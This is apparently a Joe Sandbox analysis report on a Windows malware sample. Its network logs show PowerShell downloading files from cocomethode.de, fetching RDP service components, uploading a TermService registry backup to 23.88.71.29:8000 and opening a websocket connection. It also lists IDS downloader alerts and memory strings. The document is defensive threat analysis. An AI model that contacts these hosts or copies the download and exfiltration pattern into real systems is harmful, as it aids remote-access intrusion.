Source: global traffic	HTTP traffic detected: POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19ab4ac16fb8Content-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 62 34 61 63 31 36 66 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View

IP Address: 23.88.71.29 23.88.71.29

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49762 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49764 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49760 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49776 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49782 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49787 -> 172.67.128.139:443

Source: global traffic	HTTP traffic detected: GET /Zd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae4336e9bc7aa16a310feabd HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Zd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/66 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/46 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: u60oEPlz90WpxO0ra4ei2w==Sec-WebSocket-Version: 13

Source: global traffic

DNS traffic detected: DNS query: cocomethode.de

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: powershell.exe, 00000008.00000002.290161989907.000001A109263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: svczHost.exe, 00000015.00000002.291511409384.0000026D598AF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de:443/
Source: powershell.exe, 00000002.00000002.290053307415.0000014DF8D06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291068771560.000001D79C075000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514554345.000001ABCCA24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.290053307415.0000014DF8CE3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291068771560.000001D79C075000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514450969.000001ABCCA13000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000010.00000002.291087644732.000001D79D428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micA
Source: powershell.exe, 00000004.00000002.290370225523.00000236C0C29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micr
Source: powershell.exe, 00000008.00000002.290205784150.000001A1209DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof
Source: powershell.exe, 00000004.00000002.290371725375.00000236C0CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.t.com/pki/crl/pr(
Source: svchost.exe, 00000013.00000002.291514450969.000001ABCCA13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000013.00000003.290219948953.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdQXHYXw
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdema#1
Source: svchost.exe, 00000013.00000003.290209973025.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdoap.or
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdlns:p
Source: svchost.exe, 00000013.00000003.290209973025.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdse=
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdtp:
Source: svchost.exe, 00000013.00000002.291509925499.000001ABCB885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000002.00000002.290050915734.0000014DF0D0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE208D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290050915734.0000014DF0E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B89A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B8B35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109BF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000013.00000002.291509925499.000001ABCB881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000002.00000002.290036765742.0000014DE200A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE202E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109AA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000008.00000002.290207276682.000001A120DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openxmlT
Source: powershell.exe, 00000008.00000002.290161989907.000001A10941D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policye
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290219799393.000001ABCC361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000013.00000002.291515219723.000001ABCCA7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000013.00000003.290209973025.000001ABCC32F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustcom
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
